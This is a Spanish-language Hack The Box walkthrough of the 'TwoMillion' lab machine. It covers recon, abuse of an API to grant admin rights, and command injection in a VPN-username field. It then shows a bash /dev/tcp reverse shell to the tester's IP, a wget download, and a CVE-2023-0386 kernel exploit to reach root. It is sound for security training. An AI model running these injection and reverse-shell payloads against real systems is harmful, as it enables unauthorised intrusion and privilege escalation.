# TwoMillion

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 10.10.11.221
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fmm00huXpT9IVEwMRn5do%2Fimage.png?alt=media&#x26;token=00efec61-a96c-4988-92be-bc9354435d3e" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sC -sV 10.10.11.221
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FLpamPbIXCPPodtQ8Xy1j%2Fimage.png?alt=media&#x26;token=7a4984d3-e7ea-4b88-8561-1729476fa8ca" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 10.10.11.221
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FqocJcYoDUDGBpehGlbNp%2Fimage.png?alt=media&#x26;token=09116f0e-fc76-4aa5-aca7-16cf95536d3b" alt=""><figcaption></figcaption></figure>

Revisamos el puerto 80.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FEjUSn0JxIwMkglaoRRxz%2Fimage.png?alt=media&#x26;token=526a53b1-1fc7-4240-a60d-37a760147a6c" alt=""><figcaption></figcaption></figure>

Se asimila a la página oficial de Hack The Box pero no vemos nada interesante por lo que revisamos los directorios.

```bash
gobuster dir -u http://2million.htb/ --wordlist /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --exclude-length 162
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FuItvsHyDYRsn6OpB0dvB%2Fimage.png?alt=media&#x26;token=2095ba2f-6700-4051-a0d6-e831cdc260fc" alt=""><figcaption></figcaption></figure>

Nos llama la atención el directorio `/invite` se asimila a como se tenía que registrar la gente al principio en la plataforma ya que se necesitaba un código de invitación. Tras inspeccionar la página encontramos la función llamada **makeInviteCode**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FraS0NqFppchqbW9Ma13x%2Fimage.png?alt=media&#x26;token=e977cc15-378e-4c7b-9e3b-0bc9182a8fee" alt=""><figcaption></figcaption></figure>

La llamamos.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FQ74cu7qanF87l12XpPdv%2Fimage.png?alt=media&#x26;token=65c27e70-5b84-4244-9ca0-8f3f5b8cedd1" alt=""><figcaption></figcaption></figure>

Como vemos esta encriptada en **ROT13** por lo que desencriptamos.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FWYaD5euVfT6Tkg3HqbN7%2Fimage.png?alt=media&#x26;token=d01e89d9-7114-4aac-89eb-27e9080d4372" alt=""><figcaption></figcaption></figure>

Realizamos lo que nos comunica la pista.

```bash
curl -s -X POST "http://2million.htb/api/v1/invite/generate"
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FiVSEngfNlTfIBxkicgrK%2Fimage.png?alt=media&#x26;token=ef75b60d-7324-44cf-bc29-c65432c79d2e" alt=""><figcaption></figcaption></figure>

Está el código en **base64** por lo que decodificamos.

```bash
echo "SDg2RjUtUUdRMDUtWEdEMTItU1o3QTg=" | base64 -d
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FK2J06mf07Y7Omy4Bgzz3%2Fimage.png?alt=media&#x26;token=22668df6-3734-4f3a-9f7b-77166a2c9f62" alt=""><figcaption></figcaption></figure>

Ponemos el código de invitación.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FVlBbokUrY9TVmp8mqpt2%2FCaptura%20de%20pantalla%202025-02-12%20125945.png?alt=media&#x26;token=1b6dd63a-caf0-4639-8bd0-51d199c9ad95" alt=""><figcaption></figcaption></figure>

Nos logueamos con las credenciales registradas.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FWQHUAm7inqHDaS92KI2O%2Fimage.png?alt=media&#x26;token=9e588cae-ff74-4c6b-b1dc-dd06d0328c90" alt=""><figcaption></figcaption></figure>

Vamos al apartado de **Access**. Miramos los endpoints de la API.

```bash
curl -s -X GET "http://2million.htb/api/v1" -v
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FL6H9A5dNQTKlAdzjB2Ep%2Fimage.png?alt=media&#x26;token=b5cb5f88-29a4-40e0-ad2d-4da9e2408523" alt=""><figcaption></figcaption></figure>

Nos sale **Unauthorized** por lo que tenemos que coger la **cookie session**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FpKCABM9meceLPxOHVBdH%2Fimage.png?alt=media&#x26;token=2d6b53ab-334f-4a92-9407-dc4b32ed7989" alt=""><figcaption></figcaption></figure>

```bash
curl -s -X GET "http://2million.htb/api/v1" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" | jq
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FKsmTE6GpKkU5nxdfjHwA%2Fimage.png?alt=media&#x26;token=04980c85-1f79-4eca-8edb-9124fffe6f1c" alt=""><figcaption></figcaption></figure>

No somos administradores. Tampoco podemos generar una VPN. Vemos que podemos actualizar datos del usuario así que probamos.

```bash
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json"| jq
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F0xz6TirfTS7jI4lrAlrJ%2Fimage.png?alt=media&#x26;token=c1b9b4c9-fc3b-4019-8f1e-d952d10a707e" alt=""><figcaption></figcaption></figure>

Nos avisa del email por lo que añadimos.

```bash
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json" -d '{"email":"bea@gmail.com"}'| jq
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FdHMtX6xrPBiXJOZCc1Sm%2Fimage.png?alt=media&#x26;token=6e6bd4a4-f2ff-46c6-a00f-e7dc59a76d00" alt=""><figcaption></figcaption></figure>

Nos dice que falta un parámetro por si es administrador.

```bash
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json" -d '{"email":"bea@gmail.com", "is_admin":1}'| jq
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FOMQsbHgcWtf87ebyDlZF%2Fimage.png?alt=media&#x26;token=96893519-39ee-4d74-ad2f-f5e528f2cee6" alt=""><figcaption></figcaption></figure>

Somos administradores lo que significa que la API está mal configurada. Por si acaso revisamos.

```bash
curl -s -X GET "http://2million.htb/api/v1/admin/auth" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" | jq
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FjNAWhdOWU2Kw1MaxvQyA%2Fimage.png?alt=media&#x26;token=619012f2-f2ba-4a0f-afcd-e030ec0f34ef" alt=""><figcaption></figcaption></figure>

Intentamos generar una VPN ya que somos admin.

```bash
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" | jq
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FYS4SR3Klw63V0bLRJWwf%2Fimage.png?alt=media&#x26;token=c1d8d08a-f718-4243-a05b-0ed66e884cbf" alt=""><figcaption></figcaption></figure>

Matizamos lo que se nos avisa.

```bash
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json"| jq
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FMopGJPO5krMIHQcjV2GX%2Fimage.png?alt=media&#x26;token=90faad29-8f4a-4a5b-b458-37522b12e000" alt=""><figcaption></figcaption></figure>

Ahora nos pide el parámetro username.

```
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json" -d '{"username":"beafn28"}'| jq
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FcywfbQWT61qDTxIrcAhX%2Fimage.png?alt=media&#x26;token=c63dfb74-2eb4-4695-b791-0964c16b1a9a" alt=""><figcaption></figcaption></figure>

La respuesta ya no está en JSON por lo que lo quitamos.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FBh0Z8wLgqdBPiCZ8adQB%2Fimage.png?alt=media&#x26;token=f8609ba5-188f-4810-bfa7-9149e70a4692" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Genera una VPN por el usuario que le diga. Por lo que hacemos lo siguiente.

```bash
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json" -d '{"username":"prueba; whoami;"}'
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FsqxxPoZYTT1NGXgUL11D%2Fimage.png?alt=media&#x26;token=f4ad5166-77ff-4398-b6c1-31d1a7f06570" alt=""><figcaption></figcaption></figure>

Somos www-data por lo que tenemos RCE.

```
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=ekuhv9pthbgidsinr34h04n0hq" -H "Content-Type: application/json" -d '{"username": "prueba; bash -c \"bash -i >& /dev/tcp/10.10.14.58/443 0>&1\";"}'
```

Nos conectamos.

```bash
nc -lnvp 443
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FJ2VG0GxTrQRcdTXzNcCU%2Fimage.png?alt=media&#x26;token=a9fc2f40-a012-4349-a759-de5e8607a08d" alt=""><figcaption></figcaption></figure>

Tenemos un fichero .env interesante mostramos su contenido.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FDclCKR6tPfSXR5YPCHVP%2Fimage.png?alt=media&#x26;token=f955b240-f205-49fc-be0b-10cac5267518" alt=""><figcaption></figcaption></figure>

Migramos de usuario.

```bash
ssh admin@2million.htb
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FW2DeCm3NSrtzNNx7fP73%2Fimage.png?alt=media&#x26;token=4a2c520c-30a9-46b4-a74b-ed4f88c6688b" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar pero nos pide contraseña. Tampoco tenemos permisos SUID.&#x20;

Nos dice que tenemos un mail.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fx9wuZ7F4HaWupSUktQCW%2Fimage.png?alt=media&#x26;token=81205162-8450-43b8-a3f9-e0b7ffbb4d3b" alt=""><figcaption></figcaption></figure>

Al ver la información del sistema en el que nos encontramos encontramos este exploit.

{% @github-files/github-code-block url="<https://github.com/sxlmnwb/CVE-2023-0386>" %}

Nos lo descargamos en nuestra máquina víctima tras comprimirlo en nuestra máquina anfitrión.

```bash
wget http://10.10.14.58/comprimido.zip
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FebQL8eFdmGYqM4W4UBXi%2Fimage.png?alt=media&#x26;token=d0e261e5-6d99-4425-9aa4-5f41f7542615" alt=""><figcaption></figcaption></figure>

Abrimos otra terminal y nos logueamos a través de **ssh** y también nos situamos en el directorio `/tmp/CVE-2023-0386`.

```
PRIMERA TERMINAL
make all
./fuse ./ovlcap/lower ./gc

SEGUNDA TERMINAL
./exp
```

Tras realizar esto nos convertimos en **root**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FyHoLjtQ8kfvQA13RPHju%2Fimage.png?alt=media&#x26;token=d64a49b1-beb9-4da6-a04c-7e5af0e0ac79" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F58wLDULJvPvHHNmA8ZEK%2Fimage.png?alt=media&#x26;token=b44e7a9d-18a5-4d4f-95a8-19587302b6e9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fa2Yst3aQ0NTSnEkbsNjZ%2FCaptura%20de%20pantalla%202025-02-12%20153509.png?alt=media&#x26;token=6879d350-e7d2-4d05-ab4d-24cb03cbe493" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/hackthebox/twomillion.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
